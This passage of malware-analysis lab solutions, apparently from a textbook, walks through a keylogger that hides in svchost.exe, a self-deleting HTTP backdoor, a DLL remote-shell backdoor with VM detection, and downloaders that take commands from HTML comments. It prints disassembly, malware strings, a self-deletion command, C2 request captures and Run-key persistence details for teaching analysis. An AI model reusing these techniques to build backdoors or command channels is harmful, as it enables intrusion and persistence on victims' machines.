The fact that svchost.exe is orphaned is highly unusual and highly suspicious.
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Figure 3-8L: Process Explorer view of orphaned svchost.exe

We investigate further by right-clicking and selecting Properties for the 
orphaned svchost.exe process. As shown in Figure 3-8L, the process appears to 
be a valid svchost.exe process with PID 388, but this svchost.exe is suspicious 
because svchost.exe is typically a child of services.exe.

From this same properties page, we select Strings to show the strings in 
both the executable image on disk and in memory. Toggling between the 
Image and Memory radio buttons shows significant discrepancies between 
the images. As shown in Figure 3-9L, the strings in memory on the right 
contain practicalmalwareanalysis.log and [ENTER], seen at  and , neither 
of which is found in a typical Windows svchost.exe file on disk, as seen on 
the left.

Figure 3-9L: Process Explorer shows strings that are not normally contained in svchost.exe.

The presence of the string practicalmalwareanalysis.log, coupled with 
strings like [ENTER] and [CAPS LOCK], suggests that this program is a keylogger. 
To test our assumption, we open Notepad and type a short message to see if 
the malware will perform keylogging. To do so, we use the PID (found in 
Process Explorer) for the orphaned svchost.exe to create a filter in procmon 
to show only events from that PID (388). As you can see in Figure 3-10L, the 
CreateFile and WriteFile events for svchost.exe are writing to the file named 
practicalmalwareanalysis.log. (This same string is visible in the memory view of 
the orphaned svchost.exe process.)

�
�
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Figure 3-10L: Procmon output of svchost.exe with PID 388

Opening practicalmalwareanalysis.log with a simple text editor reveals the 
keystrokes you entered in Notepad. We conclude that this malware is a key-
logger that uses process replacement on svchost.exe.

Lab 3-4 Solutions

Short Answers
1. When you run this malware by double-clicking it, the program immedi-

ately deletes itself.

2. We suspect that we may need to provide a command-line argument or a 
missing component to the program.

3. We try using the command-line parameters shown in the strings listing 
(like -in), but doing so is not fruitful. More in-depth analysis is required. 
(We’ll analyze this malware further in the labs for Chapter 9.)

Detailed Analysis
We begin with basic static analysis, examining the PE file structure and 
strings. We see that this malware imports networking functionality, service-
manipulation functions, and registry-manipulation functions. In the follow-
ing listing, we notice a number of interesting strings.

SOFTWARE\Microsoft \XPS
\kernel32.dll
 HTTP/1.0
GET
NOTHING
DOWNLOAD
UPLOAD
SLEEP
cmd.exe
 >> NUL
/c del 
http://www.practicalmalwareanalysis.com
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NT AUTHORITY\LocalService
 Manager Service
.exe
%SYSTEMROOT%\system32\
k:%s h:%s p:%s per:%s
-cc
-re
-in

We see strings such as a domain name and the registry location SOFTWARE\
Microsoft \XPS. Strings like DOWNLOAD and UPLOAD, combined with the HTTP/1.0 
string, suggest that this malware is an HTTP backdoor. The strings -cc, -re, 
and -in could be command-line parameters (for example -in may stand for 
install). Let’s see if basic dynamic techniques show us how these strings 
are used.

Before we run the malware, we run procmon and clear out all events, 
start Process Explorer, and set up a virtual network. When we run the mal-
ware, it appears to immediately delete itself, and we see nothing else of inter-
est while watching with Process Explorer.

Next, we use procmon with a filter on the process name Lab03-04.exe. 
There aren’t any interesting WriteFile or RegSetValue entries, but upon fur-
ther digging, we find an entry for Process Create. Double-clicking this entry 
brings up the dialog shown in Figure 3-11L, and we see that the malware is 
deleting itself from the system using "C:\WINDOWS\system32\cmd.exe" /c del Z:\
Lab03-04.exe >> NUL, as seen at .

Figure 3-11L: Procmon view of the Process Create performed for self-deletion

We can try to run the malware from the command line using the command-
line options we saw in the strings listing (-in, -re, and –cc), but all of them fail 
and result in the program deleting itself. There isn’t much more we can do 
with basic dynamic techniques at this point, until we dig deeper into the mal-
ware. (We will revisit this malware in the Chapter 9 labs.)

�
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Lab 5-1 Solutions

Short Answers
1. DllMain is found at 0x1000D02E in the .text section.

2. The import for gethostbyname is found at 0x100163CC in the .idata section.

3. The gethostbyname import is called nine times by five different functions 
throughout the malware.

4. A DNS request for pics.practicalmalwareanalysis.com will be made by the 
malware if the call to gethostbyname at 0x10001757 succeeds.

5. IDA Pro has recognized 23 local variables for the function at 0x10001656.

6. IDA Pro has recognized one parameter for the function at 0x10001656.

7. The string \cmd.exe /c is located at 0x10095B34.

8. That area of code appears to be creating a remote shell session for the 
attacker.

9. The OS version is stored in the global variable dword_1008E5C4.

10. The registry values located at HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\
WorkTime and WorkTimes are queried and sent over the remote shell 
connection.

11. The PSLIST export sends a process listing across the network or finds a 
particular process name in the listing and gets information about it.

12. GetSystemDefaultLangID, send, and sprintf are API calls made from 
sub_10004E79. This function could be renamed to something useful 
like GetSystemLanguage.

13. DllMain calls strncpy, strnicmp, CreateThread, and strlen directly. At a depth 
of 2, it calls a variety of API calls, including Sleep, WinExec, gethostbyname, 
and many other networking function calls.

14. The malware will sleep for 30 seconds.

15. The arguments are 6, 1, and 2.

16. These arguments correspond to three symbolic constants: IPPROTO_TCP, 
SOCK_STREAM, and AF_INET.

17. The in instruction is used for virtual machine detection at 0x100061DB, 
and the 0x564D5868h corresponds to the VMXh string. Using the cross-
reference, we see the string Found Virtual Machine in the caller function.

18. Random data appears to exist at 0x1001D988.

19. If you run Lab05-01.py, the random data is unobfuscated to reveal a 
string.

20. By pressing the A key on the keyboard, we can turn this into the readable 
string: xdoor is this backdoor, string decoded for Practical Malware Analysis 
Lab :)1234.

21. The script works by XOR’ing 0x50 bytes of data with 0x55 and modifying 
the bytes in IDA Pro using PatchByte.
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Detailed Analysis
Once we load the malicious DLL into IDA Pro, we are taken directly to 
DllMain at 0x1000D02E. (You may need to display line numbers in the graph 
view by using OptionsGeneral and checking Line Prefixes, or you can toggle 
between the graph and traditional view by pressing the spacebar, which 
allows you to see the line numbers without changing the options.) DllMain is 
where we want to begin analysis, because all code that executes from the 
DllEntryPoint until DllMain has likely been generated by the compiler, and 
we don’t want to get bogged down analyzing compiler-generated code.

To answer questions 2 through 4, we begin by viewing the imports of 
this DLL, by selecting ViewOpen SubviewsImports. In this list, we find 
gethostbyname and double-click it to see it in the disassembly. The gethostbyname 
import resides at location 0x100163CC in the .idata section of the binary.

To see the number of functions that call gethostbyname, we check its cross-
references by pressing CTRL-X with the cursor on gethostbyname, which brings 
up the window shown in Figure 5-1L. The text “Line 1 of 18” at the bottom 
of the window tells us that there are nine cross-references for gethostbyname. 
Some versions of IDA Pro double-count cross-references: p is a reference 
because it is being called, and r is a reference because it is a “read” reference 
(since it is call dword ptr [...] for an import, the CPU must read the import 
and then call into it). Examining the cross-reference list closely, you can see 
that gethostbyname is called by five separate functions.

Figure 5-1L: Cross-references to gethostbyname

We press G on the keyboard to quickly navigate to 0x10001757. Once at 
this location, we see the following code, which calls gethostbyname.
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1000174E         mov     eax, off_10019040
10001753         add     eax, 0Dh 
10001756         push    eax
10001757         call    ds:gethostbyname

The gethostbyname method takes a single parameter—typically, a string 
containing a domain name. Therefore, we need to work backward and figure 
out what is in EAX when gethostbyname is called. It appears that off_10019040 
is moved into EAX. If we double-click that offset, we see the string [This is 
RDO]pics.practicalmalwareanalysis.com at that location.

As you can see at , the pointer into the string is advanced by 0xD bytes, 
which gets a pointer to the string pics.practicalmalwareanalysis.com in EAX 
for the call to gethostbyname. Figure 5-2L shows the string in memory, and how 
adding 0xD to EAX advances the pointer to the location of the URL in mem-
ory. The call will perform a DNS request to get an IP address for the domain.

Figure 5-2L: Adjustment of the string pointer to access the URL

To answer questions 5 and 6, 
we press G on the keyboard to navi-
gate to 0x10001656 in order to ana-
lyze sub_10001656. In Figure 5-3L, we 
see what IDA Pro has done to rec-
ognize and label the function’s 
local variables and parameters. The 
labeled local variables correspond 
to negative offsets, and we count 
23 of them, most of which are pre-
pended with var_. The freeware ver-
sion of IDA Pro counts only 20 local 
variables, so the version you are 
using may detect a slightly different 
number of local variables. The 
parameters are labeled and refer-
enced with positive offsets, and we 
see that IDA Pro has recognized 
one parameter for the function 
labeled arg_0.

Figure 5-3L: IDA Pro function layout—
recognizing local variables and parameters

[ T h i s i s R D O ] p i c

s . p r a c it c a l m a l w a

r e a n a l y s i s . c o m

EAX EAX + 0xD
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To answer questions 7 through 10, we begin by viewing the strings for 
this DLL by selecting ViewOpen SubviewsStrings. In this list, double-
click \cmd.exe /c to see it in the disassembly. Notice that the string resides 
in the xdoors_d section of the PE file at 0x10095B34. On checking the cross-
references to this string, we see that there is only one at 0x100101D0, where 
this string is pushed onto the stack.

Examining the graph view of this function shows a series of memcmp func-
tions that are comparing strings such as cd, exit, install, inject, and uptime. 
We also see that the string reference earlier in the function at 0x1001009D 
contains the string This Remote Shell Session. Examining the function and 
the calls it makes shows a series of calls to recv and send. Using these three 
pieces of evidence, we can guess that we are looking at a remote shell ses-
sion function.

The dword_1008E5C4 is a global variable that we can double-click (at 
0x100101C8) to show its location in memory at 0x1008E5C4, within the 
.data section of the DLL. Checking the cross-references by pressing CTRL-X 
shows that it is referenced three times, but only one reference modifies 
dword_1008E5C4. The following listing shows how dword_1008E5C4 is modified.

10001673        call    sub_10003695
10001678        mov     dword_1008E5C4, eax

We see that EAX is moved into dword_1008E5C4, and that EAX is the 
return value from the function call made in the previous instruction. 
Therefore, we need to determine what that function returns. To do so, we 
examine sub_10003695 by double-clicking it and looking at the disassembly. 
The sub_10003695 function contains a call to GetVersionEx, which obtains infor-
mation about the current version of the OS, as shown in the following listing.

100036AF        call    ds:GetVersionExA
100036B5        xor     eax, eax
100036B7        cmp     [ebp+VersionInformation.dwPlatformId], 2
100036BE        setz    al

The dwPlatformId is compared to the number 2 in order to determine how 
to set the AL register. AL will be set if the PlatformId is VER_PLATFORM_WIN32_NT. 
This is just a simple check to make sure that the OS is Windows 2000 or 
higher, and we can conclude that the global variable will typically be set to 1.

As previously discussed, the remote shell function at 0x1000FF58 con-
tains a series of memcmp functions starting at 0x1000FF58. At 0x10010452, we 
see the memcmp with robotwork, as follows:

10010444         push    9                       ; Size
10010446         lea     eax, [ebp+Dst]
1001044C         push    offset aRobotwork       ; "robotwork"
10010451         push    eax                     ; Buf1
10010452         call    memcmp
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10010457         add     esp, 0Ch
1001045A         test    eax, eax
1001045C         jnz     short loc_10010468 
1001045E         push    [ebp+s]                 ; s
10010461         call    sub_100052A2 

The jnz at  will not be taken if the string matches robotwork, and the 
call at  will be called. Examining sub_100052A2, we see that it queries the reg-
istry at HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WorkTime and WorkTimes, 
and then returns this information over the network socket that was passed to 
the function at .

To answer question 11, we begin by viewing the exports for this DLL 
by selecting ViewOpen SubviewsExports. We find PSLIST in this list 
and double-click it to move the cursor to 0x10007025, the start of the 
export’s code. This function appears to take one of two paths, depending 
on the result of sub_100036C3. The sub_100036C3 function checks to see if 
the OS version is Windows Vista/7 or XP/2003/2000. Both code paths use 
CreateToolhelp32Snapshot to help them grab a process listing, which we infer 
from the strings and API calls. Both code paths return the process listing 
over the socket using send.

To answer questions 12 and 13, we graph a function’s cross-references 
by selecting ViewGraphsXrefs From when the cursor is on the function 
name of interest. We go to sub_10004E79 by pressing G on the keyboard and 
entering 0x10004E79.

Figure 5-4L shows the result of graphing the cross-references for 
sub_10004E79. We see that this function calls GetSystemDefaultLangID and send. 
This information tells us that the function likely sends the language identi-
fier over a network socket, so we can right-click the function name and give it 
a more meaningful name, such as send_languageID.

NOTE Performing a quick analysis like this is an easy way to get a high-level overview of a 
binary. This approach is particularly handy when analyzing large binaries.

Figure 5-4L: Graph of cross-references from sub_10004E79
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Figure 5-6L: Cross-reference graph for DllMain with a recursive depth of 1

As referenced in question 14, there is a call to Sleep at 0x10001358, as 
shown in the following listing. Sleep takes one parameter—the number of 
milliseconds to sleep—and we see it pushed on the stack as EAX.

10001341         mov     eax, off_10019020
10001346         add     eax, 0Dh
10001349         push    eax     ; Str
1000134A         call    ds:atoi
10001350         imul    eax, 3E8h
10001356         pop     ecx
10001357         push    eax     ; dwMilliseconds
10001358         call    ds:Sleep

Working backward, it looks like EAX is multiplied by 0x3E8 (or 1000 in 
decimal), which tells us that the result of the call to atoi is multiplied by 1000 
to get the number of seconds to sleep. Again working backward, we also see 

To determine how many Windows API 
functions DllMain calls directly, we scroll 
through the method and look for API calls, 
or select ViewGraphsXrefs From to open 
the dialog shown in Figure 5-5L.

The start and end address should corre-
spond to the start of DllMain—specifically, 
0x1000D02E. Because we care only about the 
cross-references from DllMain, we select a recur-
sion depth of 1 to display only the functions 
that DllMain calls directly. Figure 5-6L shows the 
resulting graph. (The API calls are seen in 
gray.) To see all functions called at a recursive 
depth of 2, follow the same steps and select a 
recursion depth of 2. The result will be a much 
larger graph, which even shows a recursive call 
back to DllMain.

Figure 5-5L: Dialog for setting 
a custom cross-reference graph 
from 0x1000D02E 
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that off_10019020 is moved into EAX. We can see what is at the offset by double-
clicking it. This is a reference to the string [This is CTI]30.

Next, we see that 0xD is added to the offset, which causes EAX to point 
to 30 for the call to atoi, which will convert the string 30 into the number 30. 
Multiplying 30 by 1000, we get 30,000 milliseconds (30 seconds), and that is 
how long this program will sleep if the strings are the same upon execution.

As referenced in question 15, a call to socket at 0x10001701 is shown in 
the left column of Table 5-1L. We see that 6, 1, and 2 are pushed onto the 
stack. These numbers correspond to symbolic constants that are described 
on the MSDN page for socket. Right-clicking each of the numbers and select-
ing Use Symbolic Constant presents a dialog listing all of the constants that 
IDA Pro has for a particular value. In this example, the number 2 corre-
sponds to AF_INET, which is used for setting up an IPv4 socket; 1 stands for 
SOCK_STREAM, and 6 stands for IPPROTO_TCP. Therefore, this socket will be config-
ured for TCP over IPv4 (commonly used for HTTP).

To answer question 17, we search for the in instruction by selecting 
SearchText and entering in (we could also select SearchSequence of 
Bytes and searching for ED, the opcode for the in instruction). If we check 
Find All Occurrences in the search dialog, either option will present a new 
window listing all matches. Scrolling through the results shows only one 
instance of the in instruction at 0x100061DB, as follows:

100061C7         mov     eax, 564D5868h ; "VMXh"
100061CC         mov     ebx, 0
100061D1         mov     ecx, 0Ah
100061D6         mov     edx, 5658h
100061DB         in      eax, dx

The mov instruction at 0x100061C7 moves 0x564D5868 into EAX. Right-
clicking this value shows that it corresponds to the ASCII string VMXh, which 
confirms that this snippet of code is an anti-virtual machine technique being 
employed by the malware. (We discuss the specifics of this technique and 
others in Chapter 17.) Checking the cross-references to the function that 
executes this technique offers further confirmation when we see Found Virtual 
Machine in the code after a comparison.

As referenced by question 18, we jump our cursor to 0x1001D988 using 
the G key. Here, we see what looks like random bytes of data and nothing 
readable. As suggested, we run the Python script provided by selecting File
Script File and selecting the Python script, shown in the following listing.

Table 5-1L: Applying Symbolic Constants for a Call to socket

Before symbolic constants After symbolic constants

100016FB   push  6
100016FD   push  1
100016FF   push  2
10001701   call  ds:socket

100016FB   push  IPPROTO_TCP
100016FD   push  SOCK_STREAM
100016FF   push  AF_INET
10001701   call  ds:socket
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sea = ScreenEA() 

for i in range(0x00,0x50):
     b = Byte(sea+i)
     decoded_byte = b ^ 0x55 
     PatchByte(sea+i,decoded_byte)

At , the script grabs the current location of the cursor, for use as an 
offset to decode the data. Next, it loops from 0 to 0x50 and grabs the value 
of each byte using the call to Byte. It takes each byte and XORs it with 0x55 
at . Finally, it patches the byte in the IDA Pro display without modifying the 
original file. You can easily customize this script for your own use.

After the script runs, we see that the data at 0x1001D988 has been 
changed to something more readable. We can turn this into an ASCII string 
by pressing the A key on the keyboard with the cursor at 0x1001D988. This 
reveals the string xdoor is this backdoor, string decoded for Practical Malware 
Analysis Lab :)1234.

Lab 6-1 Solutions

Short Answers
1. The major code construct is an if statement located at 0x401000.

2. printf is the subroutine located at 0x40105F.

3. The program checks for an active Internet connection. If an active con-
nection is found, it prints “Success: Internet Connection.” If a connec-
tion is not found, it prints “Error 1.1: No Internet.” This program can be 
used by malware to check for a connection before attempting to connect 
to the Internet.

Detailed Analysis
We begin by performing basic static analysis on this executable. Looking at 
the imports, we see that the DLL WININET.dll and the function InternetGet-
ConnectedState are imported. The Windows Internet (WinINet) API enables 
applications to interact with HTTP protocols to access Internet resources. 

Using MSDN, we learn this Windows API function checks the status of 
the Internet connection for the local system. The strings Error 1.1: No Internet 
and Success: Internet Connection hint that this program may check for an active 
Internet connection on the system.

Next, we perform basic dynamic analysis on this executable. Nothing 
overly exciting happens when this executable is run from the command line. 
It simply prints “Success: Internet Connection” and then terminates. 

Finally, we load the file into IDA Pro for full analysis. Much of this disas-
sembly is generated by the compiler, so we need to be careful to avoid going 
down rabbit holes of irrelevant code. Therefore, we start from the main func-
tion, which is typically where the code written by the malware author begins. 
In this case, the main function starts at 0x401040. The main function calls the 
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function at 0x401000, which appears to be a key function of interest because 
it is the only one called by main. Figure 6-1L shows a flow graph of this function.

Figure 6-1L: Disassembly flow graph of the function at 0x401000

Now we graph this function in IDA Pro using ViewGraphsFlow chart. 
Looking at this graph and code, we see a common code construct: two differ-
ent code paths depend on the result of the call to InternetGetConnectedState. 
The cmp instruction is used to compare the result contained in EAX to 0, and 
then the jz instruction is used to control the flow.

The MSDN page on InternetGetConnectedState further states that the func-
tion returns 1 if there is an active Internet connection; otherwise it returns 0. 
Therefore, the code will take the false branch at  if the result is 0 because 
the zero flag (ZF) will be clear; otherwise, it will take the true branch at . 
The code construct used in this function is an if statement. 

The function calls the subroutine at 0x40105F in two locations, but if we 
dive into that function, we will quickly get lost in a rabbit hole. This function 
is printf. Surprisingly, both the IDA Pro commercial and freeware versions 
will not always recognize and label the printf function. Therefore, we must 
look for certain signals that hint at an unlabeled call to printf. One easy way 
to tell is by identifying parameters pushed onto the stack before the call to 
the subroutine. Here, in both cases, a format string is pushed onto the stack. 
The \n at the end of a string denotes a line feed. Also, given the context and 

sub_401000:
push    ebp
mov     ebp, esp
push    ecx
push    0             
push    0             
call    ds:InternetGetConnectedState
mov     [ebp+var_4], eax
cmp     [ebp+var_4], 0
jz      short loc_40102B

loc_40103A:
mov     esp, ebp
pop     ebp
retn

false� true�

00401017:
push    offset aSuccessInterne ; "Success: Internet Connection\n"
call    printf
add     esp, 4
mov     eax, 1
jmp     short loc_40103A

loc_40102B:             
push    offset aError1_1NoInte; "Error 1.1: No Internet\n"
call    printf
add     esp, 4
xor     eax, eax
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the string itself, we can deduce that the function is printf. Therefore, we 
rename the function to printf, so that it is marked as such throughout the 
code, as shown in Figure 6-1L. Once the printf function is called, we see that 
EAX is set to either 1 or 0 before the function returns. 

To summarize, this function checks for an active Internet connection, 
and then prints the result of its check, followed by returning a 1 if it is con-
nected and 0 if it is not. Malware often performs a similar check for a valid 
Internet connection.

Lab 6-2 Solutions

Short Answers
1. The first subroutine at 0x401000 is the same as in Lab 6-1. It’s an if state-

ment that checks for an active Internet connection.

2. printf is the subroutine located at 0x40117F.

3. The second function called from main is located at 0x401040. It down-
loads the web page located at: http://www.practicalmalwareanalysis.com/
cc.htm and parses an HTML comment from the beginning of the page.

4. This subroutine uses a character array filled with data from the call to 
InternetReadFile. This array is compared one byte at a time to parse an 
HTML comment.

5. There are two network-based indicators. The program uses the HTTP 
User-Agent Internet Explorer 7.5/pma and downloads the web page 
located at: http://www.practicalmalwareanalysis.com/cc.htm.

6. First, the program checks for an active Internet connection. If none is 
found, the program terminates. Otherwise, the program attempts to 
download a web page using a unique User-Agent. This web page contains 
an embedded HTML comment starting with <!--. The next character is 
parsed from this comment and printed to the screen in the format 
“Success: Parsed command is X,” where X is the character parsed from 
the HTML comment. If successful, the program will sleep for 1 minute 
and then terminate.

Detailed Analysis
We begin by performing basic static analysis on the binary. We see several 
new strings of interest, as shown in Listing 6-1L. 

Error 2.3: Fail to get command
Error 2.2: Fail to ReadFile
Error 2.1: Fail to OpenUrl
http://www.practicalmalwareanalysis.com/cc.htm
Internet Explorer 7.5/pma
Success: Parsed command is %c

Listing 6-1L: Interesting new strings contained in Lab 6-2
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The three error message strings that we see suggest that the program 
may open a web page and parse a command. We also notice a URL for an 
HTML web page, http://www.practicalmalwareanalysis.com/cc.htm. This domain 
can be used immediately as a network-based indicator.

These imports contain several new Windows API functions used for net-
working, as shown in Listing 6-2L. 

InternetReadFile
InternetCloseHandle
InternetOpenUrlA
InternetOpenA

Listing 6-2L: Interesting new import functions contained in Lab 6-2

All of these functions are part of WinINet, a simple API for using HTTP 
over a network. They work as follows:

 InternetOpenA is used to initialize the use of the WinINet library, and it 
sets the User-Agent used for HTTP communication. 

 InternetOpenUrlA is used to open a handle to a location specified by a com-
plete FTP or HTTP URL. (Programs use handles to access something 
that has been opened. We discuss handles in Chapter 7.)

 InternetReadFile is used to read data from the handle opened by 
InternetOpenUrlA.

 InternetCloseHandle is used to close the handles opened by these files. 

Next, we perform dynamic analysis. We choose to listen on port 80 
because WinINet often uses HTTP and we saw a URL in the strings. If we 
set up Netcat to listen on port 80 and redirect the DNS accordingly, we will 
see a DNS query for www.practicalmalwareanalysis.com, after which the program 
requests a web page from the URL, as shown in Listing 6-3L. This tells us that 
this web page has some significance to the malware, but we won’t know what 
that is until we analyze the disassembly.

C:\>nc -l -p 80

GET /cc.htm HTTP/1.1
User-Agent: Internet Explorer 7.5/pma
Host: www.practicalmalwareanalysis.com

Listing 6-3L: Netcat output when listening on port 80

Finally, we load the executable into IDA Pro. We begin our analysis with 
the main method since much of the other code is generated by the compiler. 
Looking at the disassembly for main, we notice that it calls the same method at 
0x401000 that we saw in Lab 6-1. However, two new calls (401040 and 40117F) 
in the main method were not in Lab 6-1. 
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In the new call to 0x40117F, we notice that two parameters are pushed 
on the stack before the call. One parameter is the format string Success: 
Parsed command is %c, and the other is the byte returned from the previous 
call at 0x401148. Format characters such as %c and %d tell us that we’re look-
ing at a format string. Therefore, we can deduce that printf is the subroutine 
located at 0x40117F, and we should rename it as such, so that it’s renamed 
everywhere it is referenced. The printf subroutine will print the string with 
the %c replaced by the other parameter pushed on the stack.

Next, we examine the new call to 0x401040. This function contains all of the 
WinINet API calls we discovered during the basic static analysis process. It first 
calls InternetOpen, which initializes the use of the WinINet library. Notice that 
Internet Explorer 7.5/pma is pushed on the stack, matching the User-Agent we 
noticed during dynamic analysis. The next call is to InternetOpenUrl, which 
opens the static web page pushed onto the stack as a parameter. This func-
tion caused the DNS request we saw during dynamic analysis. 

Listing 6-4L shows the InternetOpenUrlA and the InternetReadFile calls.

00401070     call    ds:InternetOpenUrlA
00401076     mov     [ebp+hFile], eax
00401079     cmp     [ebp+hFile], 0  
...
0040109D     lea     edx, [ebp+dwNumberOfBytesRead]
004010A0     push    edx  ; lpdwNumberOfBytesRead
004010A1     push    200h ; dwNumberOfBytesToRead
004010A6     lea     eax, [ebp+Buffer ] 
004010AC     push    eax           ; lpBuffer
004010AD     mov     ecx, [ebp+hFile]
004010B0     push    ecx           ; hFile
004010B1     call    ds:InternetReadFile
004010B7     mov     [ebp+var_4], eax
004010BA     cmp     [ebp+var_4], 0 
004010BE     jnz     short loc_4010E5

Listing 6-4L: InternetOpenUrlA and InternetReadFile calls

We can see that the return value from InternetOpenUrlA is moved into the 
local variable hFile and compared to 0 at . If it is 0, this function will be 
terminated; otherwise, the hFile variable will be passed to the next function, 
InternetReadFile. The hFile variable is a handle—a way to access something 
that has been opened. This handle is accessing a URL.

InternetReadFile is used to read the web page opened by InternetOpenUrlA. 
If we read the MSDN page on this API function, we can learn about the 
other parameters. The most important of these parameters is the second 
one, which IDA Pro has labels Buffer, as shown at . Buffer is an array of data, 
and in this case, we will be reading up to 0x200 bytes worth of data, as shown 
by the NumberOfBytesToRead parameter at . Since we know that this function is 
reading an HTML web page, we can think of Buffer as an array of characters.
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Following the call to InternetReadFile, code at  checks to see if the return 
value (EAX) is 0. If it is 0, the function closes the handles and terminates; if 
not, the code immediately following this line compares Buffer one character 
at a time, as shown in Listing 6-5L. Notice that each time, the index into 
Buffer goes up by 1 before it is moved into a register, and then compared.

004010E5     movsx   ecx, byte ptr [ebp+Buffer]
004010EC     cmp     ecx, 3Ch 
004010EF     jnz     short loc_40111D
004010F1     movsx   edx, byte ptr [ebp+Buffer+1] 
004010F8     cmp     edx, 21h
004010FB     jnz     short loc_40111D
004010FD     movsx   eax, byte ptr [ebp+Buffer+2]
00401104     cmp     eax, 2Dh
00401107     jnz     short loc_40111D
00401109     movsx   ecx, byte ptr [ebp+Buffer+3]
00401110     cmp     ecx, 2Dh
00401113     jnz     short loc_40111D
00401115     mov     al, [ebp+var_20C] 
0040111B     jmp     short loc_40112C

Listing 6-5L: Buffer handling

At , the cmp instruction checks to see if the first character is equal to 
0x3C, which corresponds to the < symbol in ASCII. We can right-click on 3Ch, 
and IDA Pro will offer to change it to display <. In the same way, we can do 
this throughout the listing for 21h, 2Dh, and 2Dh. If we combine the characters, 
we will have the string <!--, which happens to be the start of a comment in 
HTML. (HTML comments are not displayed when viewing web pages in a 
browser, but you can see them by viewing the web page source.) 

Notice at  that Buffer+1 is moved into EDX before it is compared to 
0x21 (! in ASCII). Therefore, we can assume that Buffer is an array of charac-
ters from the web page downloaded by InternetReadFile. Since Buffer points 
to the start of the web page, the four cmp instructions are used to check for an 
HTML comment immediately at the start of the web page. If all comparisons 
are successful, the web page starts with the embedded HTML comment, and 
the code at  is executed. (Unfortunately, IDA Pro fails to realize that the 
local variable Buffer is of size 512 and has displayed a local variable named 
var_20C instead.)

We need to fix the stack of this function to display a 512-byte array in 
order for the Buffer array to be labeled properly throughout the function. 
We can do this by pressing CTRL-K anywhere within the function. For example, 
the left side of Figure 6-2L shows the initial stack view. To fix the stack, we 
right-click on the first byte of Buffer and define an array 1 byte wide and 
512 bytes large. The right side of the figure shows what the corrected stack 
should look like. 

Manually adjusting the stack like this will cause the instruction num-
bered  in Listing 6-5L to be displayed as [ebp+Buffer+4]. Therefore, if the 
first four characters (Buffer[0]-Buffer[3]) match <!--, the fifth character will 
be moved into AL and returned from this function. 
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Figure 6-2L: Creating an array and fixing the stack

Returning to the main method, let’s analyze what happens after the 
0x401040 function returns. If this function returns a nonzero value, the 
main method will print as “Success: Parsed command is X,” where X is the 
character parsed from the HTML comment, followed by a call to the Sleep 
function at 0x401173. Using MSDN, we learn that the Sleep function takes a 
single parameter containing the number of milliseconds to sleep. It pushes 
0xEA60 on the stack, which corresponds to sleeping for one minute (60,000 
milliseconds).

To summarize, this program checks for an active Internet connection, 
and then downloads a web page containing the string <!--, the start of a com-
ment in HTML. An HTML comment will not be displayed in a web browser, 
but you can view it by looking at the HTML page source. This technique of 
hiding commands in HTML comments is used frequently by attackers to 
send commands to malware while having the malware appear as if it were 
going to a normal web page. 

Lab 6-3 Solutions

Short Answers
1. The functions at 0x401000 and 0x401040 are the same as those in Lab 6-2. 

At 0x401271 is printf. The 0x401130 function is new to this lab.

2. The new function takes two parameters. The first is the command char-
acter parsed from the HTML comment, and the second is the program 
name argv[0], the standard main parameter. 

3. The new function contains a switch statement with a jump table.

4. The new function can print error messages, delete a file, create a direc-
tory, set a registry value, copy a file, or sleep for 100 seconds.

5. The registry key Software\Microsoft\Windows\CurrentVersion\Run\Malware 
and the file location C:\Temp\cc.exe can both be host-based indicators.

6. The program first checks for an active Internet connection. If no Inter-
net connection is found, the program terminates. Otherwise, the pro-
gram will attempt to download a web page containing an embedded 
HTML comment beginning with <!--. The first character of the com-
ment is parsed and used in a switch statement to determine which action 
to take on the local system, including whether to delete a file, create a 
directory, set a registry run key, copy a file, or sleep for 100 seconds.
Solu t ions to Labs 507



Detailed Analysis
We begin by performing basic static analysis on the binary and find several 
new strings of interest, as shown in Listing 6-6L. 

Error 3.2: Not a valid command provided
Error 3.1: Could not set Registry value
Malware
Software\Microsoft\Windows\CurrentVersion\Run
C:\Temp\cc.exe
C:\Temp

Listing 6-6L: Interesting new strings contained in Lab 6-3

These error messages suggest that the program may be able to modify 
the registry. Software\Microsoft\Windows\CurrentVersion\Run is a common auto-
run location in the registry. C:\Temp\cc.exe is a directory and filename that 
may be useful as a host-based indicator.

Looking at the imports, we see several new Windows API functions not 
found in Lab 6-2, as shown in Listing 6-7L.

DeleteFileA
CopyFileA
CreateDirectoryA
RegOpenKeyExA
RegSetValueExA

Listing 6-7L: Interesting new import functions contained in Lab 6-3

The first three imports are self-explanatory. The RegOpenKeyExA function is 
typically used with RegSetValueExA to insert information into the registry, usu-
ally when the malware sets itself or another program to start on system boot 
for the sake of persistence. (We discuss the Windows registry in depth in 
Chapter 7.)

Next, we perform dynamic analysis, but find that it isn’t very fruitful (not 
surprising based on what we discovered in Lab 6-2). We could connect the 
malware directly to the Internet or use INetSim to serve web pages to the 
malware, but we wouldn’t know what to put in the HTML comment. There-
fore, we need to perform more in-depth analysis by looking at the disassembly.

Finally, we load the executable into IDA Pro. The main method looks 
nearly identical to the one from Lab 6-2, except there is an extra call to 
0x401130. The calls to 0x401000 (check Internet connection) and 0x401040 
(download web page and parse HTML comment) are identical to those in 
Lab 6-2. 

Next, we examine the parameters passed to 0x401130. It looks like argv 
and var_8 are pushed onto the stack before the call. In this case, argv is Argv[0], 
a reference to a string containing the current program’s name, Lab06-03.exe. 
Examining the disassembly, we see that var_8 is set to AL at 0x40122D. 
Remember that EAX is the return value from the previous function call, 
and that AL is contained within EAX. In this case, the previous function call 
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is 0x401040 (download web page and parse HTML comment). Therefore, 
var_8 is passed to 0x401130 containing the command character parsed from 
the HTML comment. 

Now that we know what is passed to the function at 0x401130, we can 
analyze it. Listing 6-8L is from the start of the function.

00401136     movsx eax, [ebp+arg_0]
0040113A     mov [ebp+var_8], eax
0040113D     mov ecx, [ebp+var_8] 
00401140     sub ecx, 61h
00401143     mov [ebp+var_8], ecx
00401146     cmp [ebp+var_8], 4 
0040114A     ja loc_4011E1
00401150     mov edx, [ebp+var_8]
00401153     jmp ds:off_4011F2[edx*4] 
...
004011F2 off_4011F2 dd offset loc_40115A 
004011F6          dd offset loc_40116C
004011FA          dd offset loc_40117F
004011FE          dd offset loc_40118C
00401202          dd offset loc_4011D4

Listing 6-8L: Analyzing the function at 0x401130

arg_0 is an automatic label from IDA Pro that lists the last parameter 
pushed before the call; therefore, arg_0 is the parsed command character 
retrieved from the Internet. The parsed command character is moved into 
var_8 and eventually loaded into ECX at . The next instruction subtracts 
